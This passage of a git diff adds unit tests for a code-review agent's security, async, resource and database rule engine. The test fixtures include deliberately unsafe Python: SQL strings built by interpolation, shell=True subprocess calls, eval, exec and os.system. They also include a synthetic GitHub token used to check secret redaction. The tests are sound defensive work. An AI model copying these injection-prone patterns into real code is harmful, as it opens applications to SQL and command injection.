a/src/example.py b/src/example.py", + "new file mode 100644", + "--- /dev/null", + "+++ b/src/example.py", + f"@@ -0,0 +1,{len(lines)} @@", + ] + diff_lines.extend(f"+{line}" for line in lines) + return parse_unified_diff("\n".join(diff_lines)) + + +def _engine() -> RuleEngine: + return RuleEngine(default_security_rules()) + + +def _full_engine() -> RuleEngine: + return RuleEngine( + ( + *default_security_rules(), + *default_async_rules(), + *default_resource_rules(), + ) + ) + + +def _a6_engine() -> RuleEngine: + return RuleEngine( + ( + *default_security_rules(), + *default_async_rules(), + *default_resource_rules(), + *default_db_rules(), + *default_test_rules(), + ) + ) + + +def test_security_rules_expose_protocol_metadata_and_detect_dangerous_code() -> None: + change_set = _added_python_change_set( + 'query = f"SELECT * FROM users WHERE name = \'{name}\'"', + "subprocess.run(command, shell=True)", + "result = eval(user_input)", + "exec(compiled_code)", + "os.system(command)", + ) + + matches = _engine().match(change_set) + + assert all( + rule.rule_id + and rule.category + and rule.severity + and 0.0 <= rule.confidence <= 1.0 + and isinstance(rule.requires_full_file, bool) + for rule in _engine().rules + ) + assert [match.rule_id for match in matches] == [ + "security.sql-fstring", + "security.subprocess-shell-true", + "security.dynamic-eval", + "security.dynamic-exec", + "security.os-system", + ] + assert all(match.category == "security" for match in matches) + assert {match.severity for match in matches} == {"high", "critical"} + assert all(0.70 <= match.confidence <= 0.85 for match in matches) + assert all(match.source == "heuristic" for match in matches) + assert [match.line for match in matches] == [1, 2, 3, 4, 5] + assert all(match.line_side == "new" for match in matches) + + +def test_security_rules_ignore_comments_docstrings_and_ordinary_strings() -> None: + change_set = _added_python_change_set( + "# subprocess.run(command, shell=True); eval(user_input)", + 'description = "os.system(command); exec(payload)"', + 'documentation = "query = f\'SELECT * FROM users WHERE id = {user_id}\'"', + '"""eval(user_input); subprocess.run(command, shell=True)"""', + '"""', + "exec(payload)", + '"""', + ) + + matches = _engine().match(change_set) + + assert matches == () + + +def test_security_rules_only_report_new_changed_lines() -> None: + diff = "\n".join( + [ + "diff --git a/src/example.py b/src/example.py", + "--- a/src/example.py", + "+++ b/src/example.py", + "@@ -10,2 +10,2 @@", + "-result = eval(user_input)", + "+result = sanitize(user_input)", + " context = 'exec(payload)'", + ] + ) + + assert _engine().match(parse_unified_diff(diff)) == () + + +def test_security_heuristics_detect_qualified_shell_and_eval_variants() -> None: + """验证纯 diff 行级规则识别可由限定名直接确认的危险调用。""" + + change_set = _added_python_change_set( + "import builtins", + "import os", + "import subprocess", + "builtins.eval(payload)", + "os.popen(command)", + "subprocess.getoutput(command)", + "subprocess.getstatusoutput(command)", + ) + + matches = _engine().match(change_set) + + assert [(match.rule_id, match.line) for match in matches] == [ + ("security.dynamic-eval", 4), + ("security.os-popen", 5), + ("security.subprocess-shell-command", 6), + ("security.subprocess-shell-command", 7), + ] + + +def test_security_heuristic_variants_ignore_literals_and_custom_objects() -> None: + """验证新增限定名规则忽略注释、普通字符串和自定义对象方法。""" + + change_set = _added_python_change_set( + "# builtins.eval(payload); os.popen(command)", + 'description = "subprocess.getoutput(command)"', + "client.getoutput(command)", + "platform.popen(command)", + ) + + assert _engine().match(change_set) == () + + +def test_secret_rule_scans_real_format_string_literals_without_structure_filter() -> None: + token = "ghp_" + "abcdefghijklmnopqrstuvwxyz0123456789" + change_set = _added_python_change_set(f"GITHUB_TOKEN = '{token}'") + + matches = _engine().match(change_set) + + assert len(matches) == 1 + assert matches[0].rule_id == "secrets.github_token" + assert matches[0].category == "secrets" + assert matches[0].line == 1 + assert token not in matches[0].evidence + assert "[REDACTED:github_token]" in matches[0].evidence + + +def test_async_rules_detect_blocking_and_unawaited_coroutines() -> None: + change_set = _added_python_change_set( + "async def fetch_data():", + " return 1", + "async def handler():", + " time.sleep(1)", + " fetch_data()", + " asyncio.sleep(1)", + ) + + matches = _full_engine().match(change_set) + + assert [(match.rule_id, match.line) for match in matches] == [ + ("async.blocking-time-sleep", 4), + ("async.unawaited-coroutine", 5), + ("async.unawaited-coroutine", 6), + ] + assert all(match.category == "async-errors" for match in matches) + assert all(0.60 <= match.confidence <= 0.90 for match in matches) + + +def test_async_rules_ignore_awaited_and_sync_uses() -> None: + change_set = _added_python_change_set( + "def sync_handler():", + " time.sleep(1)", + "async def fetch_data():", + " return 1", + "async def handler():", + " await fetch_data()", + " await asyncio.sleep(1)", + ) + + assert not [match for match in _full_engine().match(change_set) if match.category == "async-errors"] + + +def test_async_rules_use_hunk_context_to_identify_async_scope() -> None: + diff = "\n".join( + [ + "diff --git a/src/example.py b/src/example.py", + "--- a/src/example.py", + "+++ b/src/example.py", + "@@ -1,2 +1,3 @@", + " async def handler():", + "+ time.sleep(1)", + " return None", + ] + ) + + matches = _full_engine().match(parse_unified_diff(diff)) + + assert [(match.rule_id, match.line) for match in matches] == [ + ("async.blocking-time-sleep", 2), + ] + + +def test_resource_rules_detect_unclosed_open_and_client_session_across_hunk_lines() -> None: + change_set = _added_python_change_set( + "def read(path):", + " handle = open(path)", + " return handle.read()", + "async def request():", + " session = aiohttp.ClientSession()", + " return await session.get(url)", + ) + + matches = _full_engine().match(change_set) + + assert [(match.rule_id, match.line) for match in matches] == [ + ("resource.open-without-close", 2), + ("resource.client-session-without-close", 5), + ] + assert all(match.category == "resource-leak" for match in matches) + + +def test_resource_rules_ignore_context_managed_and_closed_resources() -> None: + change_set = _added_python_change_set( + "def read(path):", + " with open(path) as handle:", + " return handle.read()", + "def write(path):", + " handle = open(path)", + " handle.close()", + "async def request():", + " async with aiohttp.ClientSession() as session:", + " return await session.get(url)", + "async def request_with_close():", + " session = aiohttp.ClientSession()", + " await session.close()", + ) + + assert not [match for match in _full_engine().match(change_set) if match.category == "resource-leak"] + + +def test_resource_rules_use_hunk_context_for_lifecycle_evidence() -> None: + diff = "\n".join( + [ + "diff --git a/src/example.py b/src/example.py", + "--- a/src/example.py", + "+++ b/src/example.py", + "@@ -1,3 +1,4 @@", + " def read(path):", + "+ handle = open(path)", + " handle.read()", + " handle.close()", + ] + ) + + matches = _full_engine().match(parse_unified_diff(diff)) + + assert not [match for match in matches if match.category == "resource-leak"] + + +def test_db_rules_detect_unclosed_connection_and_unfinalized_transaction() -> None: + change_set = _added_python_change_set( + "connection = sqlite3.connect(database_path)", + "transaction = connection.begin()", + "transaction.execute(statement)", + ) + + matches = _a6_engine().match(change_set) + + assert [(match.rule_id, match.line) for match in matches] == [ + ("db.connection-without-close", 1), + ("tests.missing-coverage", 1), + ("db.transaction-without-finalize", 2), + ] + db_matches = [match for match in matches if match.category == "db-lifecycle"] + assert all(0.60 <= match.confidence <= 0.90 for match in db_matches) + + +def test_db_rules_ignore_close_commit_and_rollback() -> None: + change_set = _added_python_change_set( + "connection = sqlite3.connect(database_path)", + "transaction = connection.begin()", + "transaction.commit()", + "connection.close()", + "other_transaction = connection.begin()", + "other_transaction.rollback()", + ) + + assert not [match for match in _a6_engine().match(change_set) if match.category == "db-lifecycle"] + + +def test_db_rules_use_hunk_context_for_close_and_commit_evidence() -> None: + diff = "\n".join( + [ + "diff --git a/src/example.py b/src/example.py", + "--- a/src/example.py", + "+++ b/src/example.py", + "@@ -1,3 +1,5 @@", + " def write():", + "+ connection = sqlite3.connect(database_path)", + "+ transaction = connection.begin()", + " transaction.commit()", + " connection.close()", + ] + ) + + assert not [match for match in _a6_engine().match(parse_unified_diff(diff)) if match.category == "db-lifecycle"] + + +def test_missing_tests_is_low_confidence_change_set_heuristic() -> None: + change_set = build_snapshot_change_set( + {"src/service.py": "def calculate(value):\n return value + 1\n"} + ) + + matches = _a6_engine().match(change_set) + + assert len(matches) == 1 + match = matches[0] + assert match.rule_id == "tests.missing-coverage" + assert match.category == "missing-tests" + assert 0.50 <= match.confidence < 0.80 + assert match.line == 1 + + +def test_missing_tests_is_not_reported_when_a_test_file_changes() -> None: + change_set = build_snapshot_change_set( + { + "src/service.py": "def calculate(value):\n return value + 1\n", + "tests/test_service.py": "def test_calculate():\n assert True\n", + } + ) + + assert not [match for match in _a6_engine().match(change_set) if match.category == "missing-tests"] diff --git a/examples/skills_code_review_agent/tests/unit/test_rules_ast.py b/examples/skills_code_review_agent/tests/unit/test_rules_ast.py new file mode 100644 index 000000000..94196d330 --- /dev/null +++ b/examples/skills_code_review_agent/tests/unit/test_rules_ast.py @@ -0,0 +1,274 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Acceptance tests for A7 AST scope and degradation behavior.""" + +from __future__ import annotations + +import sys +from dataclasses import replace +from pathlib import Path +from unittest.mock import patch + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +SCRIPTS_ROOT = PROJECT_ROOT / "skills" / "code-review" / "scripts" +sys.path.insert(0, str(SCRIPTS_ROOT)) + +from lib.diff_parser import build_snapshot_change_set, parse_unified_diff # noqa: E402 +from lib.rule_engine import RuleEngine # noqa: E402 +from lib.rules_ast import default_ast_rules # noqa: E402 + + +def _ast_engine() -> RuleEngine: + return RuleEngine(default_ast_rules()) + + +def _added_file_diff(*lines: str, filename: str = "src/example.py") -> str: + header = [ + f"diff --git a/{filename} b/{filename}", + "new file mode 100644", + "--- /dev/null", + f"+++ b/{filename}", + f"@@ -0,0 +1,{len(lines)} @@", + ] + return "\n".join([*header, *(f"+{line}" for line in lines)]) + + +def _complete_modified_change_set(): + """Represent a repo input where full text is available after staging.""" + diff = "\n".join( + [ + "diff --git a/src/example.py b/src/example.py", + "--- a/src/example.py", + "+++ b/src/example.py", + "@@ -1,3 +1,3 @@", + " def process(value):", + " legacy = eval(value)", + "- return value", + "+ return exec(value)", + ] + ) + parsed = parse_unified_diff(diff) + file_change = replace( + parsed.files[0], + full_text=( + "def process(value):\n" + " legacy = eval(value)\n" + " return exec(value)\n" + ), + analysis_mode="ast_validated", + ) + return replace(parsed, files=(file_change,)) + + +def test_changed_lines_only_report_ast_nodes_intersecting_new_lines() -> None: + change_set = _complete_modified_change_set() + + matches = _ast_engine().match(change_set) + + assert [(match.rule_id, match.line, match.source) for match in matches] == [ + ("security.dynamic-exec", 3, "ast"), + ] + assert matches[0].confidence >= 0.90 + assert matches[0].line in change_set.files[0].new_changed_lines + + +def test_full_file_snapshot_reports_historical_ast_nodes() -> None: + change_set = build_snapshot_change_set( + { + "src/example.py": ( + "def process(value):\n" + " legacy = eval(value)\n" + " return value\n" + ) + } + ) + + matches = _ast_engine().match(change_set) + + assert [(match.rule_id, match.line, match.source) for match in matches] == [ + ("security.dynamic-eval", 2, "ast"), + ] + assert change_set.files[0].review_scope == "full_file" + + +def test_added_file_uses_ast_and_reports_all_supported_security_patterns() -> None: + change_set = parse_unified_diff( + _added_file_diff( + "import os", + "import subprocess", + "def unsafe(value, command):", + " eval(value)", + " exec(value)", + " os.system(command)", + " subprocess.run(command, shell=True)", + ' return f"SELECT * FROM users WHERE id = {value}"', + ) + ) + + matches = _ast_engine().match(change_set) + + assert change_set.files[0].analysis_mode == "ast_validated" + assert {match.rule_id for match in matches} == { + "security.dynamic-eval", + "security.dynamic-exec", + "security.os-system", + "security.sql-fstring", + "security.subprocess-shell-true", + } + assert all(match.source == "ast" for match in matches) + + +def test_ast_detects_supported_dangerous_api_variants() -> None: + """验证完整文件 AST 能识别无需数据流推断的危险 API 变体。""" + + change_set = build_snapshot_change_set( + { + "src/variants.py": ( + "import builtins\n" + "import os\n" + "import subprocess\n" + "from os import system as run_system\n" + "def unsafe(payload, command):\n" + " builtins.eval(payload)\n" + " getattr(builtins, 'eval')(payload)\n" + " run_system(command)\n" + " os.popen(command)\n" + " subprocess.getoutput(command)\n" + " subprocess.getstatusoutput(command)\n" + ) + } + ) + + matches = _ast_engine().match(change_set) + + assert [(match.rule_id, match.line) for match in matches] == [ + ("security.dynamic-eval", 6), + ("security.dynamic-eval", 7), + ("security.os-system", 8), + ("security.os-popen", 9), + ("security.subprocess-shell-command", 10), + ("security.subprocess-shell-command", 11), + ] + + +def test_ast_detects_dynamic_sql_without_flagging_safe_formatting() -> None: + """验证 AST 检出三种动态 SQL,同时忽略参数化 SQL 和普通格式化。""" + + change_set = build_snapshot_change_set( + { + "src/sql_variants.py": ( + "def build(user_id, name, cursor):\n" + ' query_concat = "SELECT * FROM users WHERE id = " + user_id\n' + ' query_format = "DELETE FROM users WHERE id = {}".format(user_id)\n' + ' query_percent = "UPDATE users SET name = \'%s\'" % name\n' + ' safe = "SELECT * FROM users WHERE id = %s"\n' + " cursor.execute(safe, (user_id,))\n" + ' message = "selected user {}".format(user_id)\n' + ) + } + ) + + matches = _ast_engine().match(change_set) + + assert [(match.rule_id, match.line) for match in matches] == [ + ("security.sql-interpolation", 2), + ("security.sql-interpolation", 3), + ("security.sql-interpolation", 4), + ] + + +def test_ast_api_variants_ignore_shadowed_modules_and_reassigned_aliases() -> None: + """验证同名参数和已重绑导入别名不会产生标准库 API 误报。""" + + change_set = build_snapshot_change_set( + { + "src/safe_variants.py": ( + "import builtins\n" + "import os\n" + "import subprocess\n" + "from os import system as run_system\n" + "run_system = safe_runner\n" + "def safe(builtins, os, subprocess, getattr, payload, command):\n" + " builtins.eval(payload)\n" + " getattr(builtins, 'eval')(payload)\n" + " os.popen(command)\n" + " subprocess.getoutput(command)\n" + "run_system(command)\n" + ) + } + ) + + assert _ast_engine().match(change_set) == () + + +def test_deleted_file_does_not_run_ast_code_rules() -> None: + diff = "\n".join( + [ + "diff --git a/src/removed.py b/src/removed.py", + "deleted file mode 100644", + "--- a/src/removed.py", + "+++ /dev/null", + "@@ -1,2 +0,0 @@", + "-def unsafe(value):", + "- return eval(value)", + ] + ) + + assert _ast_engine().match(parse_unified_diff(diff)) == () + + +def test_incomplete_diff_never_attempts_ast_parse() -> None: + diff = "\n".join( + [ + "diff --git a/src/service.py b/src/service.py", + "--- a/src/service.py", + "+++ b/src/service.py", + "@@ -10 +10 @@", + "- return value", + "+ return eval(value)", + ] + ) + change_set = parse_unified_diff(diff) + + assert change_set.files[0].full_text is None + with patch("lib.rules_ast.ast.parse") as parse: + assert _ast_engine().match(change_set) == () + parse.assert_not_called() + + +def test_syntax_error_downgrades_and_records_a_sanitized_parse_warning() -> None: + change_set = build_snapshot_change_set( + {"src/broken.py": "def broken(\n return eval(value)\n"} + ) + + assert change_set.files[0].analysis_mode == "diff_heuristic" + assert change_set.parse_warnings == ("ast_parse_failed:src/broken.py",) + assert _ast_engine().match(change_set) == () + + +def test_null_byte_ast_error_downgrades_without_aborting_review() -> None: + """验证 AST 的 ValueError 输入退化为启发式模式,而非中止整个评审任务。""" + + change_set = build_snapshot_change_set( + {"src/null_byte.py": "value = 'safe'\0\n"} + ) + + assert change_set.files[0].analysis_mode == "diff_heuristic" + assert change_set.parse_warnings == ("ast_parse_failed:src/null_byte.py",) + assert _ast_engine().match(change_set) == () + + +def test_ast_rules_declare_full_file_requirement() -> None: + rules = default_ast_rules() + + assert len(rules) == 1 + assert rules[0].requires_full_file is True + assert rules[0].category == "security" + assert 0.90 <= rules[0].confidence <= 1.00 diff --git a/examples/skills_code_review_agent/tests/unit/test_skill_loader.py b/examples/skills_code_review_agent/tests/unit/test_skill_loader.py new file mode 100644 index 000000000..5f3d94f71 --- /dev/null +++ b/examples/skills_code_review_agent/tests/unit/test_skill_loader.py @@ -0,0 +1,59 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Tests for host-side loading of Skill-owned modules.""" + +from __future__ import annotations + +import subprocess +import sys +from pathlib import Path + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] + + +def test_host_skill_loader_does_not_override_a_top_level_lib_package(tmp_path: Path) -> None: + """验证加载宿主 redaction 和输入解析器时不会覆盖同名顶层 lib 包。""" + + host_root = tmp_path / "host_modules" + host_lib = host_root / "lib" + host_lib.mkdir(parents=True) + (host_lib / "__init__.py").write_text("MARKER = 'host-lib'\n", encoding="utf-8") + command = """ +import sys +from pathlib import Path + +project_root = Path(sys.argv[1]) +host_root = Path(sys.argv[2]) +scripts_root = project_root / 'skills' / 'code-review' / 'scripts' +sys.path[:0] = [str(host_root), str(project_root)] + +from code_review import redaction +from code_review.inputs import _diff_parser +import lib + +assert lib.MARKER == 'host-lib' +assert str(scripts_root) not in sys.path +assert redaction.redact_text(\"password = 'SyntheticPassword123'\") != \"password = 'SyntheticPassword123'\" +_, parse_unified_diff = _diff_parser() +assert parse_unified_diff.__module__.startswith('_trpc_code_review_skill_lib.') +assert lib.MARKER == 'host-lib' +assert str(scripts_root) not in sys.path +""" + completed = subprocess.run( + [sys.executable, "-c", command, str(PROJECT_ROOT), str(host_root)], + cwd=tmp_path, + check=False, + capture_output=True, + encoding="utf-8", + text=True, + timeout=30, + ) + + assert completed.returncode == 0, completed.stderr diff --git a/examples/skills_code_review_agent/tests/unit/test_trace.py b/examples/skills_code_review_agent/tests/unit/test_trace.py new file mode 100644 index 000000000..ce74e8b07 --- /dev/null +++ b/examples/skills_code_review_agent/tests/unit/test_trace.py @@ -0,0 +1,87 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""脱敏 trace 公共出口的防御性单元测试。""" + +from __future__ import annotations + +from collections.abc import Mapping +from pathlib import Path +import sys + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +if str(PROJECT_ROOT) not in sys.path: + sys.path.insert(0, str(PROJECT_ROOT)) + +from code_review.trace import emit_trace + + +def test_emit_trace_keeps_only_allowlisted_safe_fields() -> None: + """验证 trace 只输出白名单字段和安全值,不携带路径或请求内容。""" + + received: list[tuple[str, Mapping[str, object]]] = [] + + def sink(event: str, details: Mapping[str, object]) -> None: + """收集已脱敏事件,作为公共 trace 出口的观察值。""" + + received.append((event, details)) + + emit_trace( + sink, + "pipeline.sandbox_finished", + status="completed", + candidate_count=2, + timed_out=False, + file=r"E:\private\service.py", + query="please review this source", + warning_count=-1, + finding_count=1_000_001, + source_kind=["fixture"], + ) + + assert received == [ + ( + "pipeline.sandbox_finished", + { + "status": "completed", + "candidate_count": 2, + "timed_out": False, + }, + ) + ] + + +def test_emit_trace_rejects_invalid_event_names() -> None: + """验证非法事件名不会触发 sink,也不会产生部分事件。""" + + received: list[str] = [] + + def sink(event: str, details: Mapping[str, object]) -> None: + """记录可能出现的事件名,详情在本断言中无需使用。""" + + del details + received.append(event) + + emit_trace(sink, "pipeline;unsafe", status="completed") + emit_trace(sink, "Pipeline.Started", status="completed") + emit_trace(sink, "pipeline", status="completed") + + assert received == [] + + +def test_emit_trace_never_propagates_sink_failures() -> None: + """验证终端 trace sink 故障不会中断评审主流程。""" + + def failing_sink(event: str, details: Mapping[str, object]) -> None: + """模拟日志输出端故障,并确保异常被 trace 边界吸收。""" + + del event, details + raise RuntimeError("terminal unavailable") + + emit_trace(failing_sink, "review.completed", status="completed")